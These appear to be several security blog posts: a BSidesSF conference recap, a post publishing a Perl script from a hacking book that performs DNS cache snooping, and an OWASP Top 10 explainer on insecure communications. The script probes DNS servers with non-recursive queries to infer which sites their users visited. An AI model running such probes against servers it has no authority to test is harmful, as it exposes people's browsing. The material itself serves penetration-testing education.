Miscellaneous Security

Reading time: 3 – 4 minutes

BsidesSF was an amazing event, and I congratulate Mike Dahn for putting together an event that ran super smooth.

All of the presentations at BsidesSF were cutting edge and highly informational. There were two presentations, that in my opinion, clearly stood out.

Gunter Ollman – Your Computer is Worth 30 Cents

Gunter Ollman’s presentation explained how botnets and malware has changed the state of penetration tests.

Penetration tests are sometimes misunderstood and it is important to understand what a “real” penetration test is. Pen tests are supposed to replicate real attacks that an attacker would use to penetrate your network.

Gunter explains how these penetration tests have evolved over time:

In 2000, the easiest way to break into a network was to submit a job application, get the job, plug into the network, own it, and never show up the next day.

In 2005, the easiest way was to hand out USB drives in the parking lot that called home.

Now, the easiest way is to purchase machines inside of the corporation that already belong to a botnet.

I think this was a very eye opening presentation and although we have seen startup companies focused on  protecting your corporate assets from becoming part of these botnets, I think we will begin to see startup companies focused on removing your corporate assets from botnets.

Tim Keanini – Computing Risk without Numbers: A Semantic Approach to Risk Metrics

The other talk that was very ground-breaking was presented by Tim Keanini, CTO of Ncircle. TK presented on identifying risk through the use of semantic language. This is an alternative and interesting approach to risk management, that uses semantic language to rate the risk of assets to a network.

After the presentation most people explained they would need to watch TK’s presentation three or four times to extract all of the information out of it. I completely agree and am thankful that all of the presentations have been archived.

Reading time: 4 – 6 minutes

Photo: Tim Caynes

In the book, Hacking: The Next Generation, I cover a topic referred to as DNS cache snooping. Cache snooping is not a new attack and has been around for quite a while [PDF]. However, I couldn’t find a good piece of code that would interrogate DNS servers, so I created code to do it.

I put it in Appendix B in the book, but figured it would be nice to have some place to copy & paste it.

Let me know if you have any questions or comments. Have Fun!

Cache_Snoop.pl

#!/usr/bin/perl
# cache_snoop.pl
# Developed by: Brett Hardin
$version = “1.0″;
use Getopt::Long;

my $options = GetOptions (
“help” => \$help,
“save” => \$save,
“dns=s” => \$dns_server,
“ttl” => \$ttl_option,
“queries=s” => \$queries
);

if($help ne “”) { &Help; }
if($dns_server eq “”) { die “Usage: cache_snoop.pl -dns -queries \n”; }
open(FILE, $queries) or die “Usage: cache_snoop.pl -dns -queries \n”;

@sites;

#FIRST RUN IS FOR FINDING OUT DEFUALT TTL
if($ttl_option ne “”) {
print “Finding Default TTL’s…\n”;
&default_TTL;
}

for $site (@sites) {
chomp($site);
$default_TTL = $TTL_list{$site};

if($site =~ /^\#/) { print $site . “\n”; next; }
if($site =~ /^$/) { print “\n”; next;}

$results = `dig \@$dns_server $site A +norecurse`;

if ($results =~ /ANSWER: 0,/) {
print “[NO] ” . $site . ” not visited\n”;
}
else {
@edited_result = split(/\n/, $results);
@greped_result = grep(/^$site\./, @edited_result);
@A_Broke = split(/\s+/, $greped_result[0]);
$TTL = $A_Broke[1];

print “[YES] ” . $site . ” ($TTL”;
if($ttl_option ne “”) {
&timeLeft;
print “/$default_TTL) – Initial Request was made: $LAST_VISITED\n”;
}
else { print ” TTL)\n”; }

if($save ne “”) {
print $results; die;
open(OUTPUT, “>$site.DNS.txt”);
print OUTPUT $results;
close(OUTPUT);
}
}
}

sub timeLeft{
$seconds = ($default_TTL – $TTL);
@parts = gmtime($seconds);
$LAST_VISITED = “$parts[7]d $parts[2]h $parts[1]m $parts[0]s”;
}

sub default_TTL {
# This function returns the default TTL
# To do this, you need to find the DNS server from the root DNS server
# then query that DNS server for the site you are looking for, it will return the default TTL
%DNS_list = ();
%TTL_list = ();

# Find the NS for the site
for $site (@sites) {
if($site =~ /^\#/) { next; }
if($site =~ /^$/) { next;}

chomp($site);

#QUERY the TLD domain
$query_result_1 = `dig \@a.gtld-servers.net $site`;
@edited_query_1 = split(/\n/, $query_result_1);
$found = 0;

# Find the DNS server
for $each (@edited_query_1) {
if ($found == 1) {
@A_Broke = split(/\s+/, $each);
$root_DNS = $A_Broke[0];
last;
}
if($each =~ /ADDITIONAL SECTION:/) { $found = 1; }
}
$DNS_list{$site} = $root_DNS;
}
print “Done with Name Server lookup…\n”;;

# Find the TTL from the default NS server.
foreach $site (sort keys %DNS_list) {
#print “$site: $DNS_list{$site}\n”;
$DNS_SERVER = $DNS_list{$site};

#QUERY the TLD domain
$query_result_2 = `dig \@$DNS_SERVER $site`;

@edited_query_2 = split(/\n/, $query_result_2);
$found = 0;

# Find the DNS server
for $each (@edited_query_2) {
if ($found == 1) {
@A_Broke = split(/\s+/, $each);
$default_TTL = $A_Broke[1];
last;
}
if($each =~ /ANSWER SECTION:/) { $found = 1; }
}
#print $site . ” default TTL: $default_TTL\n”;
$TTL_list{$site} = $default_TTL;
}
print “Done with TTL lookups…\n”;

foreach $site (sort keys %TTL_list) {
print “$site – $TTL_list{$site}\n”;
}
}

sub Help {
print “\n”;
print “#################################\n”;
print “# #\n”;
print “# cache_snoop.pl v$version #\n”;
print “# #\n”;
print “#################################\n\n”;
print “usage: $0 -dns -queries \n”;
print “\n”;
print “purpose: Exploit a DNS server that allows 3rd party queries to determine what sites\n”;
print ” the DNS servers users have been going to.\n”;
print “\n”;
print ” Options:\n\n”;
print ” -help What your looking at.\n”;
print ” -dns [required] DNS server susceptible to 3rd party queries\n”;
print ” -queries file with the queries you would like to make [Default: queries.txt]\n”;
print ” -save Save the DNS responses that are received to individual text files.\n”;
print ” -ttl Will lookup the default TTL’s and comparing them with what the server has.\n”;
print “\n”;
print “Sample Output:\n”;
print “[NO] fidelity.com not visited\n”;
print “[YES] finance.google.com (165020) visited\n”;
print “[Visited] site (TTL)\n”;
print “\n\n”;
exit;
}

Reading time: 2 – 3 minutes

Photo: Jason Arends

This is the ninth-part in a ten-part-series describing the OWASP Top 10. (See all the OWASP Top 10)

What are Insecure Communications

Insecure communications is when a client and server communicate over a n0n-secure (non-encrypted) channel. By doing this, the developer is ensuring that their communication channel can be viewed by eyes they didn’t intend.

Failing to securely communicate server-to-server and server-to-client helps attackers to intercept sensitive transactions. Attackers do this by using man-in-the-middle attacks, a post for another time. Not communicating securely breaks down confidentiality and integrity.

Developers fall into communicating insecurely when they:

• Don’t secure their client-to-server connections.
• Don’t secure their server-to-database connections.
• Don’t secure other back end connections that pass sensitive data.

An Example of Insecure Communications

Assume a developer has written an application that takes input from a user and stores it in a database that is located on another network segment.

If the developer fails to use SSL between the web server and the user, then he has an insecure communications channel between the user and the web server. (Client-to-server connection)

If the developer fails to forget to encrypt the connection between his web server and the database, then he is failing to secure the server-to-database connection.

How Do You Prevent Insecure Communications from Occurring in your Web Application

To prevent insecure communications from occurring, the first step is to make sure the security architect has formulated secure methods of communication between the clients and servers. The security architect can limit the connections they need to look at by only reviewing which servers and clients pass sensitive data.

Keep in mind, most of these architectures will fail to forget to encrypt data on back-end connections, such as database connections. Just because the data is now behind a firewall doesn’t mean it should be passed in clear-text.

To verify insecure communications won’t happen on your network:

• Make sure all client-to-server connections are encrypted with SSL.
• Verify that server-to-database connections are encrypted.
• Verify that any other areas in the design where sensitive data is passed is done so in a secure way.
• Keep developers in a security mindset. Developers should never assume their application is sending their information securely. Developers should always assume that any communications that are being made are done insecurely.